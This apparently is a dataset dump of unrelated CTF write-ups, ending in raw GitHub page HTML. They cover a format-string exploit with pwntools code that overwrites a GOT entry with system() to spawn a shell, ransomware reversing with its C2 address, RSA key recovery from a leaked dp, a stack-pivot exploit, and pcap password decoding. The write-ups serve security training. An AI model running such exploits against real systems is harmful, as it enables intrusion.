text_chunk
stringlengths
151
703k
# PicoCTF2017_L4_flagsay2 Description:```Flagsay 2 Apparently I messed up using system(). I'm pretty sure this one is secure though! I hope flagsay-2 is just as exhilarating as the the first one! Source. Connect on shell2017.picoctf.com:18115. HINTS The buffer isn't on the stack, so you can't use your own pointers. Is there another way to get a pointer? Make sure you know about using hn and $ in format strings```First things first. We need to leak a libc and stack address so we know what's where. ```python #First Leak a LIBC address print r.sendline("CAE: "+'%11$p') r.recvuntil("CAE: 0x") leak = r.recvuntil('/')[:-1].strip() libc_base = int(leak,16) - LIBC_OFFSET print "libc_base = %x " %(libc_base) libc.address = libc_base # Grab a stack leak. Need to use this to rewrite existing values on the stack # to point to other values on the Stack that will then be used to point to the GOT print r.sendline("CAE: "+'%9$p') r.recvuntil("CAE: 0x") leak_stack = int(r.recvuntil('/')[:-1].strip(),16) print "Stack leak: " + hex(leak_stack)``` Next, I found a pointer on the stack that pointed to another place on the stack. Using lower 2Bytes of the leaked stack address to make it point where I needed it. Then update its value ```python # Grab the lower 16bits, since we can only write 16 bit vaules at a time valtowrite1 = (leak_stack & 0xFFFF) + 6 print hex(valtowrite1) # Found a value on the stack to abuse. overwrite its lower 16bits payload = '' payload += "%{}c%17$hn".format(int(valtowrite1-0x85)) print r.sendline(payload)```Now it's time to get a value on the stack to point to a GOT address that I want to overwrite:```python # Break our planned GOT overwrite into 2 16bit values GOT_ADDR1 = (GOT_OVERWRITE & 0xFFFF) GOT_ADDR2 = GOT_OVERWRITE >> 16 #Left commented out debug code used to figure out the offsets to subtract payload = '' #payload += "%{}c%9$hn".format(int(0x4141-0x81)) payload += "%{}c%9$hn".format(int(GOT_ADDR1-0x81)) print r.sendline(payload) payload = '' #payload += "%{}c%53$hn".format(int(0x4242-0x81)) payload += "%{}c%53$hn".format(int(GOT_ADDR2-0x81)) print r.sendline(payload)```The stack value is ready to go. Now to update it. ```python # With the two writes above, the GOT address to overwrite is programmed # into the 16th stack position. Overwrite the lower 16bits of the address and hope # that the alignment works ok LIBC_SYSTEM = (libc.symbols['system'] & 0xFFFF) payload = '' payload += "%{}c%16$hn".format(int(LIBC_SYSTEM-0x81)) print r.sendline(payload) # Since libc will be loaded at different addresses each time # the first 2 bytes (16 bits) of the offset of the chosen GOT pointer # may not be the same as our chosen system address. # But eventually it will be, so keep trying print r.sendline(";/bin/sh;") print "libc system = %x " %(libc.symbols['system']) print "written: = %x " %(LIBC_SYSTEM)``` As the commented code states. The upper 16bits or 2Bytes of the address on the GOT hopefully align.If they are the same as our `system()` address, then we'll get a shell. Otherwise the application will segfault.Just keep trying until it is successful. Full exploit code in the [exploit.py](exploit.py) file.
## Crypt0r - Part 3 : Solution I've finished it only a day after, though as far as I know, this is the first public solution available (at the time of writiing). the challenge is to reverse a 64 bit ELF ransomware, specifically its encryption algorithm in order to decrypt a given file (the-file-to-decrypt.flag)after finishing the prviouse steps, I had what looked like 2 early copies of the ransomware called crypt0r.jessie and crypt0r.wheezie. ![](http://i1250.photobucket.com/albums/hh525/h45hm_nch/crypt0r3_p0_zpsmieypvg5.png) The ransomware looks for a file called 'crypt.me' to start encrypting.and connects to a CnC server at address 137.74.26.184 port 1337, to send it the key.. I've rerouted the address to my small python server, though I'm not sure if it was necessary. $ sudo iptables -t nat -A OUTPUT -p all -d 137.74.26.184 -j DNAT --to-destination 127.0.0.1 After reversing for a while (unfurtunatly a while longer than needed), I've identify that the encryption algo is RSA being initialized with openssl functions.. there i've noticed a line that broke gdb execution: ![](http://i1250.photobucket.com/albums/hh525/h45hm_nch/crypt0r3_writeup_p1_zpsdryvvvln.png)echo $(( `date +%s` /10 )) Apart from that, the ransomware also saved the private.pem key after encrypting...I didn't had much expirience with the inner workings of RSA, though after googling, I found that because it used srand/rand C functions, it should be possible to generate the same private key.. if I'll get the original seed. For clues, I've checked the 'the-file-to-decrypt.flag' file to see the modification date (Mon 03 Apr 2017 05:14:18 PM GMT), then converted it to unix timestemp format : 1491239658,after that, I've edited the binary : ![](http://i1250.photobucket.com/albums/hh525/h45hm_nch/crypt0r3_writeup_p2_zpsawjdsolv.png) and changed the string "echo $(( `date +%s` /10 ))" to "echo $(( 1491239658 / 10 )) Then executed crypt0r.jessie.. collected the stored private.pem, ran: $ openssl rsautl -decrypt -in the-file-to-decrypt.flag -out result -inkey private.pem and Bam.. there it was : > Congratulations !> > You did decrypt this file. You really should consider joining OVH since we're> looking at candidates just like you. However, here's your reward:> > INSA18c21e583eb590c14278068989349ac8 h45hm_nch.
**Description** Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it? Message **Files** *clue.txt* ```e = 65537n = 499607129142614016115845569972309954865466642986629586633467546172800056547903083303297314393486719922392114168964815069281475244480336720618108262665997707387594045170650286331094075335771255196970298123339129317833157961011527832876727076344754954725939644758068479530394261225267979368085014589570504346427dp = 10223330953817363123811922583649696214606550602104286204220891355717604605964870127334598738896285490397615099445491494493968669242516576783690807635432479 c = 153408111238083132625075217386160278201089187923862024676103784080001237826514301713735771160917544373591779610748265147756784683926730761236534493663419614238905006609729514145435055984994364128927411759418067871721495104602569203564450508769250852903921152143258615277062069536567367247248160384585690407058``` **Solution**This was a really fun problem to work through! The first thing we have to notice is that `e` and `dp` are modular inverses of each other `mod (p - 1)`. Because of this, if we take any number `a`, `a^(e * dp) ≡ a mod p`. This cracks the entire problem for us, since if we subtract from both sides, we're left with `a^(e * dp) - a ≡ 0 mod p`, making `a^(e * dp) - a` a multiple of `p`. Now, if we take the GCD of `N` and `a^(e * dp) - a`, we're at a *very* small likelyhood of getting anything other than `p`. Then, if we just divide by `p`, we get `q`, and we can calculate `d` and decrypt the message~ ```>>> from sympy import *>>> from sympy.core.numbers import igcdex>>> e = 65537>>> n = 499607129142614016115845569972309954865466642986629586633467546172800056547903083303297314393486719922392114168964815069281475244480336720618108262665997707387594045170650286331094075335771255196970298123339129317833157961011527832876727076344754954725939644758068479530394261225267979368085014589570504346427>>> dp = 10223330953817363123811922583649696214606550602104286204220891355717604605964870127334598738896285490397615099445491494493968669242516576783690807635432479>>> c = 153408111238083132625075217386160278201089187923862024676103784080001237826514301713735771160917544373591779610748265147756784683926730761236534493663419614238905006609729514145435055984994364128927411759418067871721495104602569203564450508769250852903921152143258615277062069536567367247248160384585690407058>>> p = gcd(n, pow(2, e*dp, n) - 2)>>> q = n // p>>> d = long(igcdex(e, (p-1) * (q-1))[0]%n)>>> hex(pow(c,d,n))[2:-1].decode('hex')'flag{wow_leaking_dp_breaks_rsa?_47689841281}'```And, sure enough, `wow_leaking_dp_breaks_rsa?_47689841281` is the flag! This was one of my favorite challenges in this CTF.
# PicoCTF2017_final_chooseFinal challenge in the PicoCTF2017 competition```ChooseUnhappy that you can't choose which enemies to fight? Choose your own adventure! Source. Connect on shell2017.picoctf.com:43651. ASLR is not enabled. HINTSAn assumption made in the code is wrong. Which assumption, and what does it allow you to do?```First we need to find a vulnerability. I found this by getting Wizards Sight and calculating the difference between enemys structures in memory. This led to a clear difference between the size of an orc and a unicorn. A closer look shows why:```Ctypedef struct _orc{ char type; short damage; int health; char name[ENEMNAMELEN];} orc; typedef struct _unicorn{ char type; int health; short damage; char name[ENEMNAMELEN];} unicorn;``` Both have members that add up to 19bytes, but due to the ordering of the members of the struct, the unicorn will take up 24 bytes and the orc will take up 20. Google memory alignment for more information on this. So by choosing 11 unicorns or 11 centaurs to fight, we can overwrite EBP and RET pointers. Even though ASLR is disabled on the version that is running on the server. Lets solve it as if it were enabled. When I initially looked at this I figured I could try to load shellcode in each of the names of the enemies, and have the shellcode jump to the next section when needed. I didn't like the idea of having to do this, sounded too much like real work ¯¯\\_(ツ)_/¯¯ So I looked for other options. There was a nice piece of code in `readWrapper()` that calls `readInput()` with two pointers.```asm 0x08048eb7 <+28>: push DWORD PTR [ebp+0xc] 0x08048eba <+31>: push DWORD PTR [ebp+0x8] 0x08048ebd <+34>: call 0x8048e3c <readInput>```So I chose to do this with a two stage payload. Since we overwrite EBP and return, I pointed EBP to the input buffer which could then hold the pointers to the parameters I wanted to pass to `readInput()` So after exiting the fight with the dragon, EBP is updated, and the code return to the asm above. Since EBP points to our input buffer we have preloaded that with values we want to pass to `readInput` and readInput() is called and we can place our second stage payload in what is soon to be our stack. When the `readWrapper()` runs to completion, it will cause the stack to be pivoted to BSS and which is preloaded with a return pointer to our shellcode. Final [exploit](exploit.py) is checked in. It was a fun challenge. Hopefully this writeup presents an interesting solution to this problem. I think this was the intended solution, but it looks like others solved it differently.
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/NullconHackIM_Misc_Misc1_100_Feb17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/NullconHackIM_Misc_Misc1_100_Feb17.pdf)
Type:Forensics 題目:We need to gain access to some routers. Let's try and see if we can find the password in the captured network 檔案:data.pcap(載點:https://github.com/SJChang/CTF) 首先,fileter那邊些下參數: tcp.stream eq 0 ====>發現沒什麼特別的東西 tcp.stream eq 1 ====>還是沒有發現什麼 tcp.stream eq 2 ====>這裡面有趣了: 裡面有 userid=randled&pswrd=OFBGRW8wdHRIUQ%3D%3DHTTP/1.0 200 OK 裡面出現了userid和password 接下來的問題就是解出藍色那一段OFBGRW8wdHRIUQ%3D%3D 看到%還有他後面的ok.這一段應該是被網路上的傳輸加密的.所以決定用url decode看看 解出來是OFBGRW8wdHRIUQ== 看到結尾是==就要超興奮的了.這是base64的編碼無誤.所以用base64再解一次 得到:8PFEo0ttHQ ===>flag
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/PicoCTF-2017 at master · Idomin/CTF-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BC2A:0F2B:6CBE075:6FCA420:64122836" data-pjax-transient="true"/><meta name="html-safe-nonce" content="655d77a3d1431d47f4f69cefc9c53ea2a87938c832e9f2d3cc39d3c4b5510bac" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCQzJBOjBGMkI6NkNCRTA3NTo2RkNBNDIwOjY0MTIyODM2IiwidmlzaXRvcl9pZCI6IjcyMTgzNDEwNjk3ODM3MDU2NTQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="a9a8ef611f445ed420a7719a6a9ca59a83c2f71171c3780a3730dda8c8061772" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:66765511" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups from different CTFs. Contribute to Idomin/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/a306f540374bde14253a3d6bd54c5edc830b499e38b93daa06668f385baabbce/Idomin/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/PicoCTF-2017 at master · Idomin/CTF-Writeups" /><meta name="twitter:description" content="Writeups from different CTFs. Contribute to Idomin/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/a306f540374bde14253a3d6bd54c5edc830b499e38b93daa06668f385baabbce/Idomin/CTF-Writeups" /><meta property="og:image:alt" content="Writeups from different CTFs. Contribute to Idomin/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/PicoCTF-2017 at master · Idomin/CTF-Writeups" /><meta property="og:url" content="https://github.com/Idomin/CTF-Writeups" /><meta property="og:description" content="Writeups from different CTFs. Contribute to Idomin/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/Idomin/CTF-Writeups git https://github.com/Idomin/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="6640061" /><meta name="octolytics-dimension-user_login" content="Idomin" /><meta name="octolytics-dimension-repository_id" content="66765511" /><meta name="octolytics-dimension-repository_nwo" content="Idomin/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="66765511" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Idomin/CTF-Writeups" /> <link rel="canonical" href="https://github.com/Idomin/CTF-Writeups/tree/master/PicoCTF-2017" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check 